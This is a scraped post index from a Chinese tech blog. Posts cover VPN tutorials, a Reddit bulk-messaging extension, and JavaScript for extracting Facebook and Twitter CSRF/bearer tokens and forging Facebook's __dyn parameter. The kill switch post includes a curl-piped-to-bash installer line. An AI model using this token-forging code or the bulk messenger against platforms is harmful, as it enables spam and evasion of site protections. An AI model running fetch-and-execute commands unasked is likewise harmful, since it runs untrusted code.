检测违规内容 采取措施 监督委员会 安全保障 季度报告 了解更多: Facebook 账号解封 Facebook 演算法 2023 最新 ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 政策大全 | 实时更新","feature":"https://dev-coco.github.io/post-images/Facebook-Real-Time-Policy.png","link":"https://dev-coco.github.io/post/Facebook-Real-Time-Policy/","stats":{"text":"1 min read","time":18000,"words":81,"minutes":1},"date":"2023-11-30 15:30:01","dateFormat":"2023-11-30"},{"content":"1.1.1.1 WARP 各项功能使用教程 iOS 版。 在 App Store 搜索「1111」就可以找到客户端。 添加配置文件 第一次使用的时候,会提示「安装 VPN 配置文件」。 点击「允许」。 基本功能 打开开关就可以启用功能。点击右上角的设置图标,会显示更多设置。 可以选择「1.1.1.1」或者「WARP+」。 1.1.1.1 这是 Cloudflare 提供的一个公共 DNS 服务,但不会改变 IP 地址。用于将域名转换为与之相关联的 IP 地址,使设备能够连接到互联网上的特定网站或服务。 WARP+ 除了提供更快 DNS 解析外,额外提供了 VPN 功能。不可自选 VPN 的区域,会自动选择一个和当前 IP 地址附近的节点。每次启动此功能的时候 IP 地址可能会变动,不是固定的节点。 高级设置 点击「高级」会显示更多的功能选项。 连接选项 对蜂窝网络禁用:开启后如果使用的是蜂窝网络会暂停功能。 对 Wi-Fi 网络禁用:开启后如果使用的是 Wi-Fi 会暂停功能。 添加 Wi-Fi 网络:可以设置指定的 Wi-Fi 名称。当连接了设置好的 Wi-Fi 名称,会暂停功能。 DNS 设置 1.1.1.1 家庭版:Cloudflare 提供的一种家庭安全服务,可以选择屏蔽恶意软件和成人内容。 协议选项:DNS 协议,可选 WARP、HTTPS 或 TLS,默认是 WARP 协议。 本地域名回退 本地域名回退功能允许忽略指定域名后缀列表的 DNS 请求。这些 DNS 请求将被传递回设备上已配置的网络接口上的 DNS 服务器。设置的方法和「排除路由」功能一样。 排除路由 这是 VPN 分流功能,可以排除指定的 IP 地址或者域名。排除的 IP 地址或域名将会使用真实 IP 地址访问。 点击「输入排除的 IP/主机」可以添加 IP 地址或域名。 诊断 DNS 日志 启用功能后,开启「DNS 日志」功能,会会自动记录访问的信息。 相关推荐: 1.1.1.1 WARP 领取 24BP 流量 ","tags":[{"name":"iOS","slug":"ios","used":true,"link":"https://dev-coco.github.io/tag/ios/"},{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"}],"title":"1.1.1.1 WARP 使用教程 iOS 版","feature":"https://dev-coco.github.io/post-images/1111-Free-Data.png","link":"https://dev-coco.github.io/post/1111-iOS-Tutorial/","stats":{"text":"3 min read","time":125000,"words":570,"minutes":3},"date":"2023-11-29 08:53:20","dateFormat":"2023-11-29"},{"content":"Reddit 批量发送消息 Chrome 插件使用方法。 插件下载:Chrome 插件合集 功能 批量发送消息给指定用户。 获取用户近期活跃时间。 复制帖子评论的用户和内容。 使用方法 点击插件后,会自动打开发送消息的页面,点击左上角的 Chats 切换功能界面。 群发消息 第一次使用需要先设置发送的内容,对插件点击右键,选项,进行设置。 第一个是延迟时间,也就是每次发消息间隔的时间,秒为单位。 第二个是发送给用户的内容。在内容中使用「@@@」,在发送的时候会替换成对方的用户名。如果需要内容需要换行,使用「\\n」代替。 下面是一个例子 需要发送的内容 Hello Raz1ner! How are you today? 设置的内容 Hello @@@!\\nHow are you today? 在功能界面左侧放入用户主页的链接,点击「群发消息」,在右侧会输出发送消息的情况。 检测活跃时间 在功能界面左侧放入用户主页的链接,点击「检测活跃时间」,在右侧第一个是 karma 分数,后面会输出最多近 10 个发帖或者评论的时间。 因为是横向排列的,所以可以粘贴到 Excel 中预览。 复制评论 在 Reddit 帖子页面刷新后,右侧会显示「复制评论」的按钮,点击后会复制当前帖文评论的用户名、用户链接、评论时间、评论内容、Upvote 数量和当前帖子链接。 可以将复制的结果粘贴到 Excel 中。 检测是否回复 在功能界面左侧放入用户主页的链接,第一次使用的时候先在左侧的聊天列表滚动,插件会自动记录显示过的用户名称和内容,然后点击「检测是否回复」,会自动识别出对方是否回复过消息。 这个是根据插件里面设置的群发消息的聊天内容判断的,如果最后一次的消息和群发消息的聊天内容里面一致,就代表对方没有回复过消息。 获取帖文数据 在功能界面左侧放入帖文链接,点击「获取帖文数据」,在右侧会输出 upvote 和评论的数量。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"Reddit 批量发送消息","feature":"https://dev-coco.github.io/post-images/Reddit-Bulk-Message-Sender.png","link":"https://dev-coco.github.io/post/Reddit-Bulk-Message-Sender/","stats":{"text":"3 min read","time":124000,"words":600,"minutes":3},"date":"2023-11-26 11:23:22","dateFormat":"2023-11-26"},{"content":"1.1.1.1 WARP 各项功能使用教程 macOS 版。 下载客户端:https://1.1.1.1/ 基本功能 启动后在菜单栏点击图标会显示出功能的界面。点击右上角齿轮的图标可以选择「1.1.1.1」或者「1.1.1.1 with WARP」。 1.1.1.1 这是 Cloudflare 提供的一个公共 DNS 服务,但不会改变 IP 地址。用于将域名转换为与之相关联的 IP 地址,使设备能够连接到互联网上的特定网站或服务。 1.1.1.1 with WARP 除了提供更快 DNS 解析外,额外提供了 VPN 功能。不可自选 VPN 的区域,会自动选择一个和当前 IP 地址附近的节点。每次启动此功能的时候 IP 地址可能会变动,不是固定的节点。 偏好设置设置 点击菜单栏的图标,点击「Preferences」可以查看进阶设置。 General 在这个界面可以看到当前的连接状态和公网 IP 等信息。如果需要在开机后启动可以勾选「Login at login」。 Connection 在这里可以设置指定的 Wi-Fi 名称。当连接了设置好的 Wi-Fi 名称,会暂停功能。 Disable for all Wi-Fi networks:勾选后,连接任何 Wi-Fi 都将暂停功能。 Disable for all wired networks:勾选后,连接任何有线网络都将暂停功能。 DNS Protocol:DNS 协议,可选 WARP、HTTPS 或 TLS,默认是 WARP 协议。 1.1.1.1 for Families:Cloudflare 提供的一种家庭安全服务,可以选屏蔽恶意网站和成人内容。 DNS Logs 勾选 「Log DNS queries」 后,当开启「1.1.1.1」或「1.1.1.1 for WARP」后会自动记录访问的信息。 Advanced 进阶设置。 Split Tunnel 这是 VPN 分流功能,可以排除指定的 IP 地址或者域名。排除的 IP 地址或域名将会使用真实 IP 地址访问。 点击左下角的加号,在 Excluded Host 输入排除的 IP 地址或者域名,在 Description 中输入备注,非必填项,然后点击「Done」保存。 Local Domain Fallback 本地域名回退功能允许忽略指定域名后缀列表的 DNS 请求。这些 DNS 请求将被传递回设备上已配置的网络接口上的 DNS 服务器。设置的方法和「Split Tunnel」功能一样。 Configure Proxy 配置代理功能允许设备启用本地代理服务器。通过 localhost:{端口} 发送的所有流量都将使用安全的 WARP 分流连接进行加密。 勾选「Enable proxy mode on this device」后,在「Proxy Listener Port (0-65535)」中设置端口号。 相关推荐: 1.1.1.1 WARP 领取 24BP 流量 VPN Kill Switch ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"1.1.1.1 WARP 使用教程 macOS 版","feature":"https://dev-coco.github.io/post-images/1111-Free-Data.png","link":"https://dev-coco.github.io/post/1111-macOS-Tutorial/","stats":{"text":"3 min read","time":159000,"words":677,"minutes":3},"date":"2023-11-25 08:44:29","dateFormat":"2023-11-25"},{"content":"任意 VPN 都通用的 Kill Switch 功能。 什么是 Kill Switch 在使用 VPN 的时候,所有的网络流量都经过 VPN 的服务器,以加密传输保护数据。然而,有时候 VPN 连接可能会异常或者中断,这样会导致暴露真实的 IP 地址。 Kill Switch 的作用是防止这种情况发生。它是一种自动化的安全机制,一旦检测到 VPN 连接断开,就会阻止网络连接,以防止真实 IP 地址泄露。这可以防止不安全的网络连接,确保所有的流量都通过 VPN 连接。 安装 这个程序适用于 macOS (Mac OS X >= 10.6) 使用终端的 brew 安装 killswitch 命令。 brew install killswitch 如果之前没有安装过 Homebrew,需要先使用下面的方法在终端安装 brew。 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 使用方法 启用 开启 VPN 后输入下面的命令。 sudo killswitch -e 显示下图中的结果就代表启用成功了。 如果出现开启后无法联网的情况,关闭再打开 VPN 就可以正常使用了。 开启 Kill Switch 后,关闭 VPN 或者意外断开连接就会无法联网。 禁用 输入下面的命令关闭 Kill Switch 功能。 sudo killswitch -d 显示下图中的结果就代表已经关闭了。 ","tags":[{"index":-1,"name":"安全","slug":"security","used":true,"link":"https://dev-coco.github.io/tag/security/"},{"name":"Shell","slug":"shell","used":true,"link":"https://dev-coco.github.io/tag/shell/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"VPN Kill Switch","feature":"https://dev-coco.github.io/post-images/VPN-Kill-Switch.png","link":"https://dev-coco.github.io/post/vpn-kill-switch/","stats":{"text":"2 min read","time":79000,"words":349,"minutes":2},"date":"2023-11-24 00:51:15","dateFormat":"2023-11-24"},{"content":"fb_dtsg 是 Facebook 动态令牌(Dynamic Token for Security Graph),是一种安全机制,用于防止跨站请求伪造(CSRF)攻击。 全局搜索 dtsg 找到了 DTSG 这个模块,可以获取到 fb_dtsg 的结果,这个结果是由 DTSGInitialData 模块写入的,但是并没有找到 DTSGInitialData 这个模块赋值的方式。 通过下面的两种方式都可以获取到 fb_dtsg,在不刷新页面的情况下,这个值是固定的。 require('DTSG').getToken() require('DTSGInitialData').token 切换到手机版页面再去全局搜索 dtsg 的时候,在 DTSG 这个模块里面有一个 refresh 更新的方法,调用的是 TokenFetcher 这个模块。 在 TokenFetcher 模块中,会向 /ajax/dtsg/ 域名发送一个请求,这个应该是就是获取 dtsg 的方法了。 使用 fetch 重写一个请求,代码如下: await fetch('https://www.facebook.com/ajax/dtsg/?__a=true') .then(response => response.text()) .then(text => JSON.parse(text.replace('for (;;);', '')).payload.token) 这种方法在每次请求的时候都会生成一个新的 fb_dtsg 参数,这样即使在不刷新页面的情况下也可以更新 fb_dtsg 的值。 相关代码:Facebook-API-Params-Generator ","tags":[{"name":"Javascript","slug":"javascript","used":true,"link":"https://dev-coco.github.io/tag/javascript/"},{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"逆向 Facebook 接口 fb_dtsg 参数","feature":"https://dev-coco.github.io/post-images/Reverse-Facebook-fb_dtsg-Param.png","link":"https://dev-coco.github.io/post/Reverse-Facebook-fb_dtsg-Param/","stats":{"text":"2 min read","time":68000,"words":288,"minutes":2},"date":"2023-11-15 11:45:14","dateFormat":"2023-11-15"},{"content":"__csr 代表 Cross-Site Request,通常用于跨站点请求。 在请求接口的参数中,会看到一个叫做 __csr 的参数。 全局搜索的时候,找到一个 StaticSiteData 模块,__csr 对应的键名是 csr_key。 这里找到了 csr_key 的赋值方式 d("CSRBitMap").toCompressedString() 把开头的 d 换成 require 调用 CSRBitMap 模块就能获取到 __csr 参数的结果了。 直接定位到 CSRBitMap 模块,分析一下是怎么实现的。这里的 h 变量是一个空数组,通过 a 函数将内容写入到 h 变量中,但是目前不知道 a 传入的是什么内容,所以在这里添加断点,然后刷新页面看看传入的是什么参数。 这里显示 a 传入了一个数字 16。点击右侧 「Call Stack」 中的 「handlePayload」继续往下跟踪。 刚才传入的数字 16 是从 csrUpgrade 这里来的,那么下次传入的结果就会是 1, 8, 73... 以此类推。 在页面上搜索 csrUpgrade 就找到来源了,使用下面的代码就可以获取到这段 csrUpgrade 并且格式化数组。 document.head.outerHTML.match(/(?<=csrUpgrade":":).*?(?=")/g).join(',').split(',') 那么跟着断点往下分析,传入这段 csrUpgrade 数据后 a 又传入了 303。点击右侧 「Call Stack」 中的 「U」继续往下跟踪。 刚才传入的数字 303 是从一个 css 中满足 c == 2 这个条件的 p 属性这里来的。 使用下面的代码就可以从 css 中过滤出 c 等于 2 的 p 属性的结果,并且格式化成数组。 document.body.outerHTML.match(/(?<=type":"css","src":"https.*?","c":2,"p":":).*?(?=")/g).join(',').split(',') 后面的分析方法类似,就不细节说明了,直接看结果。 这段 css 传入后,又传入了一段 csrUpgrade。不过这次是从 body 中获取到的。使用下面的代码就可以获取到这段 csrUpgrade 并且格式化数组。 document.body.outerHTML.match(/(?<=csrUpgrade":":).*?(?=")/g).join(',').split(',') 这里基本上可以得出是通过网页 head 和 body 中的 csrUpgrade 和 css 中 c 等于 2 的 p 属性通过 toCompressedString 生成出来的。toCompressedString 的实现方法参考:逆向 Facebook 接口 __dyn 参数 相关代码:Facebook-API-Params-Generator ","tags":[{"name":"Javascript","slug":"javascript","used":true,"link":"https://dev-coco.github.io/tag/javascript/"},{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"逆向 Facebook 接口 __csr 参数","feature":"https://dev-coco.github.io/post-images/Reverse-Facebook-__csr-Param.png","link":"https://dev-coco.github.io/post/Reverse-Facebook-__csr-Param/","stats":{"text":"3 min read","time":135000,"words":570,"minutes":3},"date":"2023-11-15 03:12:28","dateFormat":"2023-11-15"},{"content":"逆向 Twitter 接口参数。 在请求推特接口的时候,在 headers 里面有两个必须的参数,一个是 authorization,另外一个是 x-csrf-token。 authorization authorization 这个参数的值有一个特征,前面是由很多个 A 开头的,先来搜索一下看看有没有什么线索。 在这个文件里面找到了 authorization 参数对应的值,但是这里的代码是用 webpack 打包的,没办法获取到代码内部的变量值。 不过可以请求这个 js 文件,然后把代码里面的值给筛选出来。 const authorization = await fetch('https://abs.twimg.com/responsive-web/client-web/main.e6b82e4a.js').then(response => response.text()).then(text => text.match(/Bearer AAAAAAAAAAA.*?(?=")/)[0]) console.log(authorization) 这里就获取到了 authorization 的值,但是这样的方法还有一个问题,main 后面的 e6b82e4a 看起来是一个随机值,如果哪天改动了,就会失效。那么再进一步分析看看还有没有什么特征可以获取到这个文件。 这个文件的命名格式是 main 开头然后 xxxx 结尾,在整个 HTML 里面的 head 里面只有一个名字包含 main 的 js 文件。这样就简单了,只需要循环一遍页面上所有的 link 标签,然后找到包含 main 的文件即可。 let authorization const link = document.querySelectorAll('link') for (const x of link) if (x.href.includes('main')) authorization = await fetch(x.href).then(response => response.text()).then(text => text.match(/Bearer AAAAAAAAAAA.*?(?=")/)[0]) console.log(authorization) CSRF token CSRF token 的值并没有看到有什么特征,那么就先搜索一下试试看。 在这个地方可以看到 CSRF token 的赋值方式。 从这里可以看到 x-csrf-token 参数的值是从 r.vlaue 赋值的,r 的值是从 self.cookieStore.get("ct0") 传入的,这样就获取到 CSRF token 的值了。 await cookieStore.get('ct0').then(r => r.value) ","tags":[{"index":-1,"name":"Twitter (X)","slug":"twitter-x","used":true,"link":"https://dev-coco.github.io/tag/twitter-x/"}],"title":"逆向 Twitter 接口 authorization 和 CSRF token","feature":"https://dev-coco.github.io/post-images/Reverse-Twitter-Authorization-CSRF-Token-Param.png","link":"https://dev-coco.github.io/post/Reverse-Twitter-Authorization-CSRF-Token-Param/","stats":{"text":"2 min read","time":115000,"words":468,"minutes":2},"date":"2023-10-15 09:43:11","dateFormat":"2023-10-15"},{"content":"__dyn 是一个动态数据,包含一些关于页面状态的信息。 在请求接口的参数中,会看到一个叫做 __dyn 的参数。 先全局搜索一下,看看会有什么结果。 这里找到一个 StaticSiteData 模块,建立了一个对象,__dyn 对应的键名是 jsmod_key。再根据找到的结果再搜索看看有没有其它的线索。 这里找到了 jsmod_key 的赋值方式 c("ServerJSDefine").getLoadedModuleHash() 把开头的 c 换成 require,尝试在 Console 调用一下 ServerJSDefine 模块,实验一下结果是否和 __dyn 参数一致。 看起来找对地方了,接下来再看看 · 这个函数是怎么实现的。 getLoadedModuleHash 这里面又调用了 toCompressedString 函数,那么再接着往下找,看看这个函数是怎么实现的。 这里就找到了 toCompressedString 的实现方法。 不过看起来都是从 $1 这个变量里面的内容进行计算,但是这里并没有提供什么内容,是一个空数组。 function a () { this.$1 = [], this.$2 = null } 不过我在网页的模块里面找到了模块的标识或者索引,例如截图里的例子 IntlCurrentLocale: 5954 CookieDomain: 6421 JSSelfProfilerTrackedInteractions: 6918 CurrentAdAccountInitialData: 6828 只需要筛选出每个模块的标识或者索引就可以了,有可能会在 body 里面,也有可能会在 head 里面,所以合并成一个数组 const bodyData = document.body.innerHTML.match(/\\},([0-9])+\\]/gi) const headData = document.head.innerHTML.match(/\\},([0-9])+\\]/gi) const combinedData = bodyData.concat(headData) const arr = [] for (const item in combinedData) { if (combinedData[item] != null) { const extractedNumber = combinedData[item].replace(/\\},|]/g, '') if (parseInt(extractedNumber) >= 7) { arr.push(parseInt(extractedNumber)) } } } 然后再遍历 数组 中的每个数字,将 bitMap 中对应索引的位置设置为 1,表示该数字存在于 数组中。这样,bitMap 就成为了一个简单的表示数字存在性的位图。后续的压缩过程利用了这个 bitMap 来计算连续相同值的数量。 const bitMap = [] for (const item in arr) { bitMap[arr[item]] = 1 } 将刚才写入的 `bitMap` 数组压缩数据,并且转换成文本值的二进制数据。 ```Javascript const compressedBits = [] let count = 1 let currentBit = bitMap[0] || 0 const currentBitString = currentBit.toString(2) for (let i = 1; i < bitMap.length; i++) { const nextBit = bitMap[i] || 0 if (nextBit === currentBit) { count++ } else { compressedBits.push(convertToBinaryString(count)) currentBit = nextBit count = 1 } } 最后再将二进制转换成 base64 结果就出来了。 function convertToBase64String (binaryString) { const list = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_' const sixBitChunks = (binaryString + '00000').match(/[01]{6}/g) let base64String = '' for (let i = 0; i < sixBitChunks.length; i++) { base64String += list[parseInt(sixBitChunks[i], 2)] } return base64String } 和 getLoadedModuleHash 对比后结果是一致的,那么 __dyn 的参数就已经还原出来了。 在开头收集模块的标识或者索引的时候,这个数据也可以随机生成伪造参数。经过我的测试发现这个数据的长度大概在 115 到 265 之间,而且是大于 7 的,那么就可以根据下面的代码随机生成一段数据 const arr = [] const count = Math.floor(Math.random() * (265 - 115 + 1)) + 115 const allNumbers = Array.from({ length: 7331 - 7 + 1 }, (_, i) => i + 7) for (let i = 0; i < count; i++) { const randomIndex = Math.floor(Math.random() * allNumbers.length) const randomNumber = allNumbers[randomIndex] arr.push(randomNumber) allNumbers.splice(randomIndex, 1) } 相关代码:Facebook-API-Params-Generator ","tags":[{"name":"Javascript","slug":"javascript","used":true,"link":"https://dev-coco.github.io/tag/javascript/"},{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"逆向 Facebook 接口 __dyn 参数","feature":"https://dev-coco.github.io/post-images/Reverse-Facebook-__dyn-Param.png","link":"https://dev-coco.github.io/post/Reverse-Facebook-__dyn-Param/","stats":{"text":"4 min read","time":198000,"words":783,"minutes":4},"date":"2023-09-30 23:26:37","dateFormat":"2023-09-30"},{"content":"Claude 几乎可以平替 ChatGPT 3.5 的一个 AI 工具。 注册链接:Claude 注册方法 可以直接使用 Google 账号,或者使用邮箱注册。下面介绍的是使用邮箱注册的方法。输入邮箱后,点击「Continue with email」。 然后会发送一个登陆验证码到邮箱,输入验证码后点击「Continue with login code」。后续每次登陆都需要通过邮箱接收一个登陆验证码才可以登陆。 然后设置一个用户名,确认年龄 18+,并且同意政策后点击「Continue」继续。 第一次登陆会显示下面的界面,按照步骤点击「Next」即可。 到下图的界面后就可以使用了,支持上传文件配合提示语输出结果。 ","tags":[{"index":-1,"name":"AI 科技","slug":"ai-tech","used":true,"link":"https://dev-coco.github.io/tag/ai-tech/"}],"title":"Anthropic Claude 注册方法","feature":"https://dev-coco.github.io/post-images/Claude-Register.png","link":"https://dev-coco.github.io/post/Claude-Register/","stats":{"text":"1 min read","time":42000,"words":197,"minutes":1},"date":"2023-07-14 12:39:12","dateFormat":"2023-07-14"},{"content":"每天都可以增长 YouTube 订阅人数。 staticrypt-form{background:#fff;max-width:360px;margin:0 auto;padding:45px;text-align:center;box-shadow:0 0 20px 0 rgba(0,0,0,.2),0 5px 5px 0 rgba(0,0,0,.24)}.staticrypt-form input{background:#f2f2f2;width:100%;margin:0 0 15px;padding:15px;box-sizing:border-box;font-size:14px}.staticrypt-form .staticrypt-decrypt-button{background:#4caf50;width:100%;padding:15px;color:#fff;font-size:14px} 请输入密码后查看 var a=256,b=1e3;function c(c,d){var e=CryptoJS.enc.Hex.parse(c.substr(0,32)),f=CryptoJS.enc.Hex.parse(c.substr(32,32)),g=c.substring(64),h=CryptoJS.PBKDF2(d,e,{keySize:a/32,iterations:b}),i=CryptoJS.AES.decrypt(g,h,{iv:f,padding:CryptoJS.pad.Pkcs7,mode:CryptoJS.mode.CBC}).toString(CryptoJS.enc.Utf8);return i}document.getElementById(\"staticrypt-form\").addEventListener(\"submit\",function(e){e.preventDefault();var a=document.getElementById(\"staticrypt-password\").value,b=\"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\",f=b.substring(0,64),d=b.substring(64),g=CryptoJS.HmacSHA256(d,CryptoJS.SHA256(a).toString()).toString();if(g!==f){alert(\"Wrong Password!\");return}var h=c(d,a);document.getElementById(\"article\").innerHTML=h}) ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"免费获取 YouTube 订阅者","feature":"https://dev-coco.github.io/post-images/Free-YouTube-Subscribers.png","link":"https://dev-coco.github.io/post/Free-YouTube-Subscribers/","stats":{"text":"2 min read","time":99000,"words":274,"minutes":2},"date":"2023-07-12 12:49:28","dateFormat":"2023-07-12"},{"content":"横向/纵向数组求和。 横向求和 =ARRAYFORMULA(MMULT(IFERROR(B1:F17 + 0, 0), TRANSPOSE(COLUMN(B1:F17) ^ 0))) 原理分析 IFERROR(B1:F17 + 0, 0) 将数据范围中的所有单元格转换成数值,如果单元格内的数据类型是非数值型将会用 0 代替,避免因为非数值类型导致计算出错。 TRANSPOSE(COLUMN(B1:F17) ^ 0) COLUMN 函数计算包含指定范围内列号的数组,返回一个包含从 B 列到 F 列序号的数组,即 [2, 3, 4, 5, 6]。 然后将数组的每个元素提升为 0 次幂进行运算,所有的返回结果将会是 1,也就是 [1, 1, 1, 1, 1]。 再使用 TRANSPOSE 转置数组,把行转换为列。 使用 MMULT 函数使用矩阵乘法计算每个元素的值,最后使用 ARRAYFORMULA 数组输出。下图中 A 列是输出的结果。 纵向求和 =TRANSPOSE(ARRAYFORMULA(MMULT(IFERROR(TRANSPOSE(B1:F17) + 0, 0), ROW(B1:F17) ^ 0))) 原理分析 和上面的横向求和思路类似,先将 B1:F17 范围的内容转置,并且把数据范围中的所有单元格转换成数值类型。 使用 ROW 函数计算包含指定范围内行号数组,返回从第 1 行到第 17 行的序号数组,即 [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17]。 然后将数组的每个元素提升为 0 次幂进行运算,所有的返回结果将会是 1,也就是 [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]。 使用 MMULT 函数使用矩阵乘法计算每个元素的值,使用 ARRAYFORMULA 数组输出。但是输出的结果是以列显示的,需要再使用 TRANSPOSE 转置数组,把行转换为列。最终结果输出在 B18 单元格。 相关推荐: Google Excel 性能优化 - 数组输出 Google Excel LAMBDA 和 MAP 组合函数 ","tags":[{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google Excel 数组求和","feature":"https://dev-coco.github.io/post-images/Google-Excel-Array-Sum.jpg","link":"https://dev-coco.github.io/post/Google-Excel-Array-Sum/","stats":{"text":"2 min read","time":114000,"words":480,"minutes":2},"date":"2023-07-11 01:33:51","dateFormat":"2023-07-11"},{"content":"一键快速清理 Google 云端与我共享所有记录。 在 Google 云端中,打开任意其他人共享的文件,例如表格、文档、图片等等,就会在「与我共享」留下文件记录,云端使用一段时间后就会留下特别多的文件记录,下面介绍一个非常简单的方法可以批量把所有「与我共享」的记录都清理掉,但并不会删除云端内的任何文件。 使用方法 打开:书签代码 将「清理与我共享」拖到浏览器的书签栏。 打开 Google 云端「与我共享」界面,然后点击书签的「清理与我共享」就会开始清理「与我共享」列表中的记录了,在运行的过程中会看到文件一个个的消失。不过需要注意的是记录删除后不可恢复,只有再次打开其他人共享的文件时才会出现在「与我共享」的列表中。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"批量清理 Google 云端与我共享","feature":"https://dev-coco.github.io/post-images/Google-Drive-Share-Clean.png","link":"https://dev-coco.github.io/post/Google-Drive-Share-Clean/","stats":{"text":"1 min read","time":51000,"words":253,"minutes":1},"date":"2023-07-09 11:38:56","dateFormat":"2023-07-09"},{"content":"快捷输入账号密码。 使用前需要在浏览器安装:KeePassXC-Browser 在 KeePassXC 软件的「设置 - 浏览器集成」中,开启「启用浏览器集成」。 点击 KeePassXC-Browser 插件,点击「连接」。 自定义输入一个唯一的 ID,如果有多个浏览器人员同时使用,不能输入已经使用过的 ID,否则会被覆盖。 对着插件点击右键,点击「选项」。 建议将「自动检索凭据」取消勾选,这样打开有些网站的时候,不会一直弹出窗口要求输入账号密码(因为有时候并不想登陆)。 